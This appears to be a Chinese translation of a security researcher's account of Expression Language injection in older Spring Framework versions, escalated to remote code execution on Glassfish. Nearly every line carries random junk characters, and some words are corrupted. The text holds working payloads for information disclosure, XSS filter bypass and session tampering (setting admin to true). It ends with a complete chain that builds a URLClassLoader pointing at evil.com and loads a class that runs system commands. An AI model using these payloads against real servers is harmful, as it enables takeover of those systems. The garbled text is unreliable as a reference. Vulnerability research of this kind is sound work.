Remote Code with
, M# C3 p) |0 WExpression Language Injection1 q6 t( _8 V, _8 q9 x4 Q4 E
Spring Framework脆弱性—DanAmodio9 X4 Z7 F' S& R
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中" ~5 X6 C' Y7 h% ]' g
可能会存在风险。
1 O$ ?5 ?/ L) x; T3 H3 e2 [- u在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
5 F5 m& M' h* }3 @/ g* N9 aArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
9 K! N& C' r; m" g% i以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
9 G; I- `1 s% w$ {以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前9 K* M% n$ j" ^4 u/ ]
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。3 ]8 b3 d+ P# d2 p; h: D
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但/ ]/ F9 c! \0 f5 Y- a. k( D
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
0 J" V+ ?! e$ ?! a; `5 Q& [本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。1 E8 {& H# M3 A, ?( M8 A
这些版本不支持禁用double EL resolution.
$ `% D6 k" V7 S0 v" ]- |这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
# |7 x! m9 k' Q0 E* A; l3 W5 ?EL2.2容器上可能进行远程代码执行。
' R% O4 A6 C% \5 S4 k这是一个原始信息泄露的攻击例子:$ W- v. t2 S5 n w j5 s
请求:' n6 M$ x' b" K: D7 Z% n i! y
ttp://vulnerable.com/foo?message=${applicationScope}
0 G6 C: W2 |5 |+ E到达以下内容页面:
/ f( ~" z2 _) ^. h0 Z3 M: n7 u i0 H结果将输出一些包含内部服务器信息calsspath 和本地工作目录
0 r& y* ?8 R: }, B* |, C你也可以做一些其他事情,如这样:# U4 r$ R7 n; s! W0 T' o
${9999+1}
2 A0 n2 A, }7 o) A还可以访问session 对象和beans \7 G+ e% [* i: R2 U: y# B/ y
${employee.lastName}
* b( g. o$ a2 W7 B在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
4 [, V# c( y5 l" [EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东% e% c& o3 g! x, w1 S, A2 k
西,比如XSS.
V* G# @5 ?" l哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
: F' G0 d n# D2 G4 H1 S: r3 P" [突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
: R0 R2 s0 I6 O$ ]呢?”6 i, {- K! R3 n+ p. W) d9 l3 m% T
因此,我尝试巳缦拢�' ~1 k9 b( m/ ^
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
1 J6 S- z, l& J8 K' ? [2 DP
! [7 u" i" a9 U* b我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返7 ^: }& k8 a( m& }- q& z/ ?/ b3 ~
回的文本被插入进了spring:message 标签。
! Q9 e; U( D7 n/ G' i这里是一个最终绕过过滤的实例:
V- Y% P/ N: {+ ghttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
& T8 @4 g. Y1 \6 K它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为6 b5 {1 x: E2 j q
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
0 a& |. _. R, t s经过一番研究,我学习到EL2.2 增加了方法调用。
( Q [4 }' Z+ l! ^! t- i( e我写了一个快速测试应用程序代码并且检测一些功能! Z0 x5 }- w& \" [
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
' p. M2 k( r4 D1 b# L${pageContext.request.getSession().setAttribute(“admin”,true)}
) {7 q ?. [8 d7 C好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的0 U' H4 G1 C7 W- Y1 K
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
: I' A# R; O' e, {2 W& k. F! x6 B p- {${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
6 ?3 q# A; { }4 G9 G7 Y- I9 J“, 1234)}
+ l" ?& H, Z6 l9 k; i7 n${“”.getClass().forName(“java.lang.Runtime”)}2 a" k% O8 B/ O, u
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
- `; ?: i* V' |0 {& K, E4 ^/ o可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函) M2 U& E4 T4 G4 @3 {
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有2 j4 {# _6 q1 }1 S
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于3 T4 U" {% s3 A/ p% k, G0 {# u
方法签名invoke(Object obj, Object„ args)
G; ]8 p# J2 vJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
! ^% n }2 s5 u- b4 h题,以让它可以工作起来。
- j& A( i* M5 z/ F# \6 \1 e漏洞利用:
( D) n3 x* _9 j" L+ Z5 `我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
# ?. O5 U* p {% R希望你们中的一些JAVA奇才告诉我我是如此的可笑。
2 Q) p# v7 `8 j' L S这里有一些我试过的失败的用例,为了试图让它工作的用例:/ d, d. G4 g* O; d" Q9 u
写文件到文件系统
5 j6 Y/ U- P; o1 p& g: j 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
8 l5 K: A0 w; R6 s4 H0 ?+ q我认为这些可以很好的工作,但是我不能找到合适的类来载入。
" i! S) W! Z# C, g5 {- U${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
( Y% S8 n2 l/ r; Kjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
3 p9 S( Y9 j2 rorg.springframework.expression.spel.standard.SpelExpressionParser not found
0 }1 o% A- X v' M1 Bby7 W& T; R3 \5 x' I# O
org.glassfish.web.javax.servlet.jsp [194].
3 C9 ~: Q2 E6 S' j 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public8 \; t! _- G' e6 d
利用反射来创建一个新的Runtime(and watch the world burn)
+ H! v) h; E" }: h5 t1 F: q${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName3 V1 I. y; `+ ~
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}, Y+ k6 h0 C4 {; X( a
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}% H; [2 S$ l& j2 v0 e% O7 R4 l
使用java.lang.ProcessBuilder
, I9 @' c$ t% x 用表达式语言来评估表达式语言
4 l7 v; u- k7 a- j# C6 [2 d9 iExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.1 T- G( {) c0 m+ k3 V" P- N/ ^
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request, H6 d# H% p- C2 [
“,”".getClass(),null)}
, Q" Z3 V a# U% l 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)- _$ r1 x) [! _& W- g6 _8 m( w# E% L
我在使用一个空数组通过Method.invoke()时失败了很多次
) K- O1 \# N5 O“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
# f0 y3 s& B- d.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A/ a4 N' `4 \+ i) a- J0 G8 F
rrayList”).newInstance().toArray())
- U8 {" G# I; f/ v& O7 Ijava.lang.IllegalArgumentException: wrong number of arguments
, G9 p% u1 n1 }2 l4 ]最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可; e0 t. ]) k# F6 }/ d. K4 b
以创建一个恶意class文件并且指向类装载器.
( S6 t* x/ h/ D+ i我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
4 q& z' M9 W" F2 B# Mpublic class Malicious { C/ f' K+ D7 e( d4 H
public Malicious() {
6 S# v Q9 Z: p4 |. ?# t6 A8 itry {& }8 U* W9 n- r) S5 X
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
6 D1 K; T3 D1 c3 [4 Njava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win' x+ v) U* J, j2 q" z8 m% r
} catch (Exception e) {$ j; v# L4 d) A# c i
}
1 d$ e/ s; [: h7 E+ D4 R}
0 O9 L" c/ H4 L: o我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回, m4 N+ A; R# \* S
话中,因此它可以被使用.% E! P+ V- Z( X0 h( t; R6 ]
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName. {$ g& G4 Z& m/ ^& q
(“java.util.ArrayList”).newInstance())}
9 @: { L" T- X8 c- ]URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建, n% @) D; O; [
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和% F4 W' F, a6 R* j1 v9 I
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个$ q% D4 p( N6 \+ _/ z
我们可以调用的create(string)方法,然后转换对一个URL对象。1 j, y0 f2 |; G' n3 p+ k
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh. G- s _' n+ U7 A" }0 P7 q' ]
ere/malicious/classfile/is/located/”).toURL())}$ B3 J4 G" X8 n6 [
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,: t# O- J$ _: j
恶意类文件被装载并创建,触发远程代码.
: M9 G1 s9 V" t0 p${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
' |* B" g& v" J4 m% N4 Cxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
* H! Q: ?5 f7 n N, m3 O( D. c' igetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
8 I8 F( S% j! P1 H2 \: A% L()} |